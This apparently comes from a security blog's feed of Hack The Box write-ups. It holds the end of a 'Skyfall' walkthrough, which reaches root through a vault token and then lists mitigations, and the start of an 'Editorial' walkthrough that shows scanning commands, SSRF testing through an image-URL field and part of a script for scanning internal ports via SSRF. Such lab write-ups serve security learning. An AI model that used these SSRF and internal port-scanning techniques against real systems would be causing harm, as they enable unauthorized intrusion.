srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/yippe_hu598b25bf2cff1d7f405bf398ebd8b976_145633_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/yippe_hu598b25bf2cff1d7f405bf398ebd8b976_145633_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="416"
data-flex-basis="1000px"
>&lt;/p>
&lt;p>So it had another &lt;code>vault token&lt;/code>, obviously after all this, it should be the root user&amp;rsquo;s token only 🫠🫠🫠
I replaced the earlier token in my &lt;code>.bashrc&lt;/code> with this new one. Then using the &lt;code>admin_otp_key_role&lt;/code>, was able to login to root user&amp;rsquo;s ssh session.
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshroot.png"
width="2478"
height="968"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshroot_hu2dc87a84221ed873bd9b47bc6fe76985_227431_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshroot_hu2dc87a84221ed873bd9b47bc6fe76985_227431_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="255"
data-flex-basis="614px"
>&lt;/p>
&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>
&lt;p>&lt;strong>Restrict Access to Sensitive Pages&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Ensure that access to sensitive pages such as MinIO metrics is properly restricted. Use proper authentication and authorization mechanisms to prevent unauthorized access.&lt;/li>
&lt;li>Implement IP whitelisting and network segmentation to limit access to administrative interfaces.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Secure Credentials and Sensitive Information&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Avoid storing sensitive information, such as credentials and tokens, in publicly accessible places or environment variables. Use secrets management solutions like HashiCorp Vault to securely store and access credentials.&lt;/li>
&lt;li>Regularly audit and rotate credentials to minimize the impact of any potential disclosure.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Proper File Permissions&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Ensure that sensitive files, such as logs and configuration files, have appropriate permissions set to prevent unauthorized access. Use least privilege principle when setting file permissions.&lt;/li>
&lt;li>Regularly audit file permissions and access controls to ensure compliance with security policies.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Implement Security Controls for Command Line Tools&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Restrict the use of command line tools like &lt;code>minio mc&lt;/code> and &lt;code>HashiCorp Vault CLI&lt;/code> to authorized users only. Ensure that only necessary commands are available to users.&lt;/li>
&lt;li>Implement logging and monitoring for the use of such tools to detect and respond to any unauthorized or suspicious activity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Mitigate Symlink Race Vulnerabilities&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Validate and sanitize all inputs and file paths to prevent symlink attacks. Ensure that temporary files and directories are created in secure locations.&lt;/li>
&lt;li>Use secure programming practices to avoid race conditions and ensure atomic operations when dealing with file system operations.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Monitor and Respond to Anomalous Activities&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Implement continuous monitoring and alerting for unusual activities, such as unauthorized access attempts, sensitive file modifications, and unexpected command executions.&lt;/li>
&lt;li>Have an incident response plan in place to quickly respond to and mitigate any detected security incidents.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>The Skyfall HTB box showcased several critical vulnerabilities that could lead to a full system compromise. By identifying and exploiting weaknesses in access control, sensitive information disclosure, and file permission configurations, an attacker could escalate their privileges and gain root access. To prevent such security breaches, it is crucial to implement comprehensive security measures, including proper access controls, secure storage and handling of sensitive information, regular auditing of file permissions, and monitoring of system activities.&lt;/p>
&lt;h2 id="references">References
&lt;/h2>&lt;ul>
&lt;li>&lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>https://github.com/RustScan/RustScan&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses" target="_blank" rel="noopener"
>https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/lobuhi/byp4xx" target="_blank" rel="noopener"
>https://github.com/lobuhi/byp4xx&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/devploit/nomore403" target="_blank" rel="noopener"
>https://github.com/devploit/nomore403&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://vulners.com/nuclei/NUCLEI:CVE-2023-28432" target="_blank" rel="noopener"
>https://vulners.com/nuclei/NUCLEI:CVE-2023-28432&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://min.io/docs/minio/linux/reference/minio-mc.html" target="_blank" rel="noopener"
>https://min.io/docs/minio/linux/reference/minio-mc.html&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://min.io/docs/minio/linux/reference/minio-mc.html?ref=docs" target="_blank" rel="noopener"
>https://min.io/docs/minio/linux/reference/minio-mc.html?ref=docs&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://developer.hashicorp.com/vault" target="_blank" rel="noopener"
>https://developer.hashicorp.com/vault&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://developer.hashicorp.com/vault/install" target="_blank" rel="noopener"
>https://developer.hashicorp.com/vault/install&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://irezyigit.medium.com/vault-part9-deeper-look-into-tokens-72da0dceb5ef" target="_blank" rel="noopener"
>https://irezyigit.medium.com/vault-part9-deeper-look-into-tokens-72da0dceb5ef&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords" target="_blank" rel="noopener"
>https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/Sn1r/Forbidden-Buster" target="_blank" rel="noopener"
>https://github.com/Sn1r/Forbidden-Buster&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Editorial</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/</link><pubDate>Mon, 01 Jul 2024 10:43:04 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Editorial&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> 10.10.11.20&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>Running the initial scan of ports show port 22 and port 80 open.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">rustscan&lt;/span> &lt;span class="c1">--ulimit 5000 -r 1-65535 -a $IP -- -A -T4 -Pn | tee -a scan.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">22&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">OpenSSH&lt;/span> &lt;span class="mf">8.9&lt;/span>&lt;span class="n">p1&lt;/span> &lt;span class="n">Ubuntu&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="n">ubuntu0&lt;/span>&lt;span class="mf">.7&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span> &lt;span class="n">Linux&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">protocol&lt;/span> &lt;span class="mf">2.0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">hostkey&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">b2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">53&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c1&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">19&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">75&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">80&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">64&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ECDSA&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ecdsa&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sha2&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">nistp256&lt;/span> &lt;span class="n">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">DRZ4kw2BBqO&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">yozkui&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">j1Yma1wnYsxv0oVYhjGeJavM&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">b9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">a7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">51&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">bf&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">53&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">a0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ED25519&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ed25519&lt;/span> &lt;span class="n">AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">kAWwdCWM&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">rGzRrGVZhYx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">80&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">nginx&lt;/span> &lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">nginx&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Did&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">follow&lt;/span> &lt;span class="n">redirect&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">editorial.htb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span> &lt;span class="n">POST&lt;/span> &lt;span class="n">OPTIONS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Service&lt;/span> &lt;span class="n">Info&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OS&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Linux&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">CPE&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cpe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">linux&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">linux_kernel&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-80">Port 80
&lt;/h3>&lt;p>To get the domain name running in this port, i did a curl request and added the domain to &lt;code>/etc/hosts&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">curl&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">v&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.11.20&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Trying&lt;/span> &lt;span class="mf">10.10.11.20&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">80.&lt;/span>&lt;span class="o">..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Connected&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="mf">10.10.11.20&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">10.10.11.20&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="mi">80&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Host&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">10.10.11.20&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Agent&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">curl&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">8.6.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Accept&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">*/*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">301&lt;/span> &lt;span class="n">Moved&lt;/span> &lt;span class="n">Permanently&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">nginx&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Mon&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">01&lt;/span> &lt;span class="n">Jul&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">05&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">29&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">178&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">alive&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Location&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">editorial.htb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">echo&lt;/span> &lt;span class="s1">&amp;#39;10.10.11.20 editorial.htb&amp;#39;&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="n">tee&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">etc&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hosts&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The webpage is about books. Looking for potential entrypoints, the &lt;code>publish with us&lt;/code> page gives us one.
We have the option to give our content to be published. This is also accepting an image to be used as cover photo. We have two options, by uploading from local folder or by providing a url.
This include of external url screams &lt;code>SSRF&lt;/code>.
To test it out, I started a simple HTTP Server with python in a directory containing a &lt;code>test.jpg&lt;/code> file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">python3&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">m&lt;/span> &lt;span class="n">http.server&lt;/span> &lt;span class="mi">80&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I gave the url, and clicked &lt;code>preview&lt;/code>, I got a hit in my terminal and the profile picture was updated.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">python3&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">m&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">server&lt;/span> &lt;span class="mi">80&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Serving&lt;/span> &lt;span class="n">HTTP&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="p">::&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="mi">80&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="p">[::]:&lt;/span>&lt;span class="mi">80&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">::&lt;/span>&lt;span class="n">ffff&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">10.10.11.20&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">01&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Jul&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">2024&lt;/span> &lt;span class="mi">11&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">46&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="s2">&amp;#34;GET /test.jpeg HTTP/1.1&amp;#34;&lt;/span> &lt;span class="mi">200&lt;/span> &lt;span class="o">-&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">::&lt;/span>&lt;span class="n">ffff&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">10.10.11.20&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">01&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Jul&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">2024&lt;/span> &lt;span class="mi">11&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="s2">&amp;#34;GET /test.jpeg HTTP/1.1&amp;#34;&lt;/span> &lt;span class="mi">200&lt;/span> &lt;span class="o">-&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;!-- -------------------------------------------------------------- -->
&lt;p>I opened &lt;code>Caido&lt;/code> to look at the &lt;code>preview&lt;/code> carefully. I captured the requests. There are two endpoints that are working when &lt;code>preview&lt;/code> button is clicked.&lt;/p>
&lt;ol>
&lt;li>&lt;strong>/upload-cover&lt;/strong>: A post request is sent to this endpoint first to upload the file content. This endpoint then saves it to a file, and returns the &lt;code>relative url&lt;/code> to the uploaded file.&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/upload.png"
width="2142"
height="1004"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/upload_huc1e93d90ea7c89d911561da32edcf635_334407_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/upload_huc1e93d90ea7c89d911561da32edcf635_334407_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="213"
data-flex-basis="512px"
>&lt;/p>
&lt;ol start="2">
&lt;li>&lt;strong>/static/uploads/[file_name]&lt;/strong>: This endpoint fetches the file data.&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/fetch.png"
width="2144"
height="862"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/fetch_hud67320be273a9b03a377645e8bb7ccf0_368809_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/fetch_hud67320be273a9b03a377645e8bb7ccf0_368809_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="248"
data-flex-basis="596px"
>&lt;/p>
&lt;div class="notice notice-warning">
The uploaded file is removed very quickly, probably in 1 min. So if you request the same file again, you will get a &lt;span style="color: #d461e8">404 Error&lt;/span>
&lt;/div>
&lt;p>Now I tried if I can upload any arbitrary file. I made a &lt;code>test&lt;/code> file with the text &lt;code>Hello Mommy!!!&lt;/code>, started the python server, requested the file through &lt;code>preview&lt;/code> endpoint, and looked in the &lt;code>static&lt;/code> endpoint in &lt;code>Caido&lt;/code>.
🎉 Got the &lt;code>test&lt;/code> file contents in the response. So this shows that this can read and show anything - &lt;strong>SSRF&lt;/strong>. You can even give &lt;code>http://127.0.0.1/&lt;/code> and it will return the home page html content. 😂&lt;/p>
&lt;h2 id="ssrf-exploitation">SSRF Exploitation
&lt;/h2>&lt;p>First thing to do is always find if any other ports are running anything internally that are not public. So to do this manually is not possible. So i made a python script that will run through all the ports from 1 to 65535 to find the internal services.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">requests&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">concurrent.futures&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Function to send POST request and get the relative URL&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">send_post_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb/upload-cover&amp;#34;&lt;/span>
